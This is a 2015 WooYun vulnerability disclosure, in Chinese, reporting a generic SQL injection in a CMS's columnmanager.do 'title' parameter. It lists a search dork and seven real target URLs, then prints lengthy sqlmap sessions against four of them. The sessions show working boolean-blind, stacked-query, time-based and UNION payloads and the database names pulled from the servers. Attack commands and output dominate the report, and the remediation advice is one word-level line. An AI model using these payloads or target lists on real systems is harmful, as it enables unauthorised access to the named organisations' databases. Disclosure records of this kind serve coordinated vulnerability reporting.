当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0113892

漏洞标题:某建站系统通用sql注入

相关厂商:cnvd

漏洞作者: Hero

提交时间:2015-05-14 15:20

修复时间:2015-08-16 18:16

公开时间:2015-08-16 18:16

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-14: 细节已通知厂商并且等待厂商处理中
2015-05-18: 厂商已经确认,细节仅向厂商公开
2015-05-21: 细节向第三方安全合作伙伴开放
2015-07-12: 细节向核心白帽子及相关领域专家公开
2015-07-22: 细节向普通白帽子公开
2015-08-01: 细节向实习白帽子公开
2015-08-16: 细节向公众公开

简要描述:

sql注入

详细说明:

涉及中国科技教育网 与某些外贸网站
关键字: inurl:contentmanager.do?method=view
漏洞页面:/cms/columnmanager.do?method=NewsCommonSearch&title=1&type=new
title参数未过滤带入查询造成注入
http://60.247.10.155:8001/cms/columnmanager.do?method=NewsCommonSearch&title=1&type=new
www.cnstedu.cn/cms/columnmanager.do?method=NewsCommonSearch&title=1&type=new
http://kxsz.gdec.net/cms/columnmanager.do?method=NewsCommonSearch&title=1&type=new
http://www.cimuset.org//cms/columnmanager.do?method=NewsCommonSearch&title=1&type=new
http://www.fdstmc.org.cn//cms/columnmanager.do?method=NewsCommonSearch&title=1&type=new
http://www.chinaworldmall.cn//cms/columnmanager.do?method=NewsCommonSearch&title=1&type=new
http://www.sqkpym.org.cn/cms/columnmanager.do?method=NewsCommonSearch&title=1&type=new
结果:
60.247.10.155:8001

[root@Hacker~]# Sqlmap -u "http://60.247.10.155:8001/cms/columnmanager.do?method
=NewsCommonSearch&title=1&type=new" --DBS
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 13:09:21
Usage: C:\tools\SQLMAP~1\SQLMAP~1\Bin\SqlMap.exe [options]
SqlMap.exe: error: no such option: --DBS
Press Enter to continue...
[*] shutting down at 13:09:22
[root@Hacker~]# Sqlmap -u "http://60.247.10.155:8001/cms/columnmanager.do?method
=NewsCommonSearch&title=1&type=new" --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 13:09:27
[13:09:27] [INFO] resuming back-end DBMS 'microsoft sql server'
[13:09:27] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: title
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: method=NewsCommonSearch&title=1%' AND 7818=7818 AND '%'='&type=new
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: method=NewsCommonSearch&title=1%'; WAITFOR DELAY '0:0:5';--&type=ne
w
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: method=NewsCommonSearch&title=1%' WAITFOR DELAY '0:0:5'--&type=new
---
[13:09:27] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2000
[13:09:27] [INFO] fetching database names
[13:09:27] [INFO] fetching number of databases
[13:09:27] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[13:09:27] [INFO] retrieved:
[13:09:28] [WARNING] reflective value(s) found and filtering out
21
[13:09:29] [INFO] retrieved: jalor_bolanhui
[13:09:49] [INFO] retrieved: jalor_bolanhui_zhongwen
[13:10:25] [INFO] retrieved: jalor_cstm_dyy
[13:10:45] [INFO] retrieved: jalor_cstm_dy
[13:11:27] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
y_other
[13:11:38] [INFO] retrieved: jalor_cstm_qianru
[13:12:09] [INFO] retrieved: jalor_cstm_yuyue
[13:12:34] [INFO] retrieved: jalor_dzbonline
[13:12:58] [INFO] retrieved: jalor_dzzz
[13:13:13] [INFO] retrieved: jalor_gjjl
[13:13:39] [INFO] retrieved: jalor_huodongshi
[13:14:40] [INFO] retrieved: jalor_jijinhui
[13:15:06] [INFO] retrieved: jalor_kpdpclm
[13:15:25] [INFO] retrieved: jalor_kxjt
[13:15:43] [INFO] retrieved: jalor_xzyz
[13:16:05] [INFO] retrieved: jalor_zjzyz
[13:16:58] [INFO] retrieved: master
[13:17:06] [INFO] retrieved: model
[13:17:14] [INFO] retrieved: msdb
[13:17:29] [INFO] retrieved: Northwind
[13:17:43] [INFO] retrieved: pubs
[13:17:50] [INFO] retrieved: tempdb
available databases [21]:
[*] jalor_bolanhui
[*] jalor_bolanhui_zhongwen
[*] jalor_cstm_dyy
[*] jalor_cstm_dyy_other
[*] jalor_cstm_qianru
[*] jalor_cstm_yuyue
[*] jalor_dzbonline
[*] jalor_dzzz
[*] jalor_gjjl
[*] jalor_huodongshi
[*] jalor_jijinhui
[*] jalor_kpdpclm
[*] jalor_kxjt
[*] jalor_xzyz
[*] jalor_zjzyz
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb
[13:17:59] [INFO] fetched data logged to text files under 'C:\tools\SQLMAP~1\SQL
MAP~1\Bin\output\60.247.10.155'
[*] shutting down at 13:17:59


1.jpg


www.cnstedu.cn

[root@Hacker~]# Sqlmap -u "www.cnstedu.cn/cms/columnmanager.do?method=NewsCommon
Search&title=1&type=new" -p title --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 13:31:39
[13:31:39] [INFO] resuming back-end DBMS 'microsoft sql server'
[13:31:39] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: title
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: method=NewsCommonSearch&title=1%' AND 5225=5225 AND '%'='&type=new
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: method=NewsCommonSearch&title=1%'; WAITFOR DELAY '0:0:5';--&type=ne
w
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: method=NewsCommonSearch&title=1%' WAITFOR DELAY '0:0:5'--&type=new
---
[13:31:39] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2000
[13:31:39] [INFO] fetching database names
[13:31:39] [INFO] fetching number of databases
[13:31:39] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[13:31:39] [INFO] retrieved:
[13:31:39] [WARNING] reflective value(s) found and filtering out
12
[13:31:41] [INFO] retrieved: jalor_cibas
[13:31:53] [INFO] retrieved: jalor_cwtc_shop
[13:32:14] [INFO] retrieved: jalor_cwtc_website_2012
[13:33:37] [INFO] retrieved: jalo
[13:35:39] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
r_jalor
[13:38:17] [INFO] retrieved: jalor_qn
[13:38:48] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
zzs
[13:38:55] [INFO] retrieved: master
[13:39:02] [INFO] retrieved: model
[13:39:09] [INFO] retrieved: msdb
[13:39:14] [INFO] retrieved: Northwind
[13:39:58] [INFO] retrieved: pubs
[13:40:03] [INFO] retrieved: tempdb
[13:40:11] [INFO] retrieved: zmkh
available databases [12]:
[*] jalor_cibas
[*] jalor_cwtc_shop
[*] jalor_cwtc_website_2012
[*] jalor_jalor
[*] jalor_qnzzs
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb
[*] zmkh
[13:40:16] [INFO] fetched data logged to text files under 'C:\tools\SQLMAP~1\SQL
MAP~1\Bin\output\www.cnstedu.cn'
[*] shutting down at 13:40:16


kxsz.gdec.net

[root@Hacker~]# Sqlmap -u "http://kxsz.gdec.net/cms/columnmanager.do?method=News
CommonSearch&title=1&type=new" -p title
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 13:58:39
[13:58:39] [INFO] testing connection to the target url
[13:58:39] [INFO] testing if the url is stable, wait a few seconds
[13:58:41] [INFO] url is stable
[13:58:41] [WARNING] reflective value(s) found and filtering out
[13:58:41] [WARNING] heuristic test shows that GET parameter 'title' might not b
e injectable
[13:58:41] [INFO] testing for SQL injection on GET parameter 'title'
[13:58:41] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[13:58:43] [INFO] GET parameter 'title' is 'AND boolean-based blind - WHERE or H
AVING clause' injectable
[13:58:43] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[13:58:43] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[13:58:43] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[13:58:43] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[13:58:43] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[13:58:44] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[13:58:44] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[13:59:04] [INFO] GET parameter 'title' is 'Microsoft SQL Server/Sybase stacked
queries' injectable
[13:59:04] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[13:59:04] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[13:59:04] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[13:59:25] [INFO] GET parameter 'title' is 'Microsoft SQL Server/Sybase time-bas
ed blind' injectable
[13:59:25] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[13:59:25] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
[13:59:29] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[13:59:29] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[13:59:30] [INFO] target url appears to have 23 columns in query
injection not exploitable with NULL values. Do you want to try with a random int
eger value for option '--union-char'? [Y/n] y
[14:00:00] [WARNING] if UNION based SQL injection is not detected, please consid
er forcing the back-end DBMS (e.g. --dbms=mysql)
GET parameter 'title' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 144 HTTP(s) req
uests:
---
Place: GET
Parameter: title
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: method=NewsCommonSearch&title=1%' AND 6769=6769 AND '%'='&type=new
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: method=NewsCommonSearch&title=1%'; WAITFOR DELAY '0:0:5';--&type=ne
w
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: method=NewsCommonSearch&title=1%' WAITFOR DELAY '0:0:5'--&type=new
---
[14:00:03] [INFO] testing MySQL
[14:00:03] [WARNING] the back-end DBMS is not MySQL
[14:00:03] [INFO] testing Oracle
[14:00:03] [WARNING] the back-end DBMS is not Oracle
[14:00:03] [INFO] testing PostgreSQL
[14:00:03] [WARNING] the back-end DBMS is not PostgreSQL
[14:00:03] [INFO] testing Microsoft SQL Server
[14:00:03] [INFO] confirming Microsoft SQL Server
[14:00:04] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2000
[14:00:04] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 3 times
[14:00:04] [INFO] fetched data logged to text files under 'C:\tools\SQLMAP~1\SQL
MAP~1\Bin\output\kxsz.gdec.net'
[*] shutting down at 14:00:00


www.cimuset.org

[root@Hacker~]# Sqlmap -u "http://www.cimuset.org//cms/columnmanager.do?method=N
ewsCommonSearch&title=1&type=new" -p title
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 14:00:30
[14:00:30] [INFO] testing connection to the target url
[14:00:30] [INFO] testing if the url is stable, wait a few seconds
[14:00:31] [INFO] url is stable
[14:00:31] [WARNING] reflective value(s) found and filtering out
[14:00:31] [WARNING] heuristic test shows that GET parameter 'title' might not b
e injectable
[14:00:31] [INFO] testing for SQL injection on GET parameter 'title'
[14:00:32] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:00:33] [INFO] GET parameter 'title' is 'AND boolean-based blind - WHERE or H
AVING clause' injectable
[14:00:33] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[14:00:33] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[14:00:33] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[14:00:33] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[14:00:33] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[14:00:33] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[14:00:34] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[14:00:54] [INFO] GET parameter 'title' is 'Microsoft SQL Server/Sybase stacked
queries' injectable
[14:00:54] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[14:00:54] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[14:00:54] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[14:01:14] [INFO] GET parameter 'title' is 'Microsoft SQL Server/Sybase time-bas
ed blind' injectable
[14:01:14] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[14:01:14] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
[14:01:18] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[14:01:18] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[14:01:19] [INFO] target url appears to have 25 columns in query
injection not exploitable with NULL values. Do you want to try with a random int
eger value for option '--union-char'? [Y/n] y
[14:06:33] [INFO] GET parameter 'title' is 'Generic UNION query (NULL) - 1 to 20
columns' injectable
GET parameter 'title' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 132 HTTP(s) req
uests:
---
Place: GET
Parameter: title
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: method=NewsCommonSearch&title=1%' AND 1805=1805 AND '%'='&type=new
Type: UNION query
Title: Generic UNION query (NULL) - 25 columns
Payload: method=NewsCommonSearch&title=-9539%' UNION ALL SELECT CHAR(58)+CHA
R(115)+CHAR(100)+CHAR(103)+CHAR(58)+CHAR(117)+CHAR(87)+CHAR(90)+CHAR(122)+CHAR(7
4)+CHAR(107)+CHAR(102)+CHAR(75)+CHAR(82)+CHAR(65)+CHAR(58)+CHAR(108)+CHAR(104)+C
HAR(122)+CHAR(58), 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 6
4, 64, 64, 64, 64, 64, 64, 64, 64-- &type=new
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: method=NewsCommonSearch&title=1%'; WAITFOR DELAY '0:0:5';--&type=ne
w
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: method=NewsCommonSearch&title=1%' WAITFOR DELAY '0:0:5'--&type=new
---
[14:06:35] [INFO] testing MySQL
[14:06:36] [WARNING] the back-end DBMS is not MySQL
[14:06:36] [INFO] testing Oracle
[14:06:36] [WARNING] the back-end DBMS is not Oracle
[14:06:36] [INFO] testing PostgreSQL
[14:06:37] [WARNING] the back-end DBMS is not PostgreSQL
[14:06:37] [INFO] testing Microsoft SQL Server
[14:06:37] [INFO] confirming Microsoft SQL Server
[14:06:39] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2000
[14:06:39] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 15 times
[14:06:39] [INFO] fetched data logged to text files under 'C:\tools\SQLMAP~1\SQL
MAP~1\Bin\output\www.cimuset.org'
[*] shutting down at 14:06:39


3`CI3_S34(@U$IE0KL0}HKB.png


漏洞证明:

rt

修复方案:

参数过滤

版权声明:转载请注明来源 Hero@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2015-05-18 18:15

厂商回复:

CNVD确认所述情况,暂未建立与软件生产厂商(或网站管理单位)的直接处置渠道,待认领。

最新状态:

暂无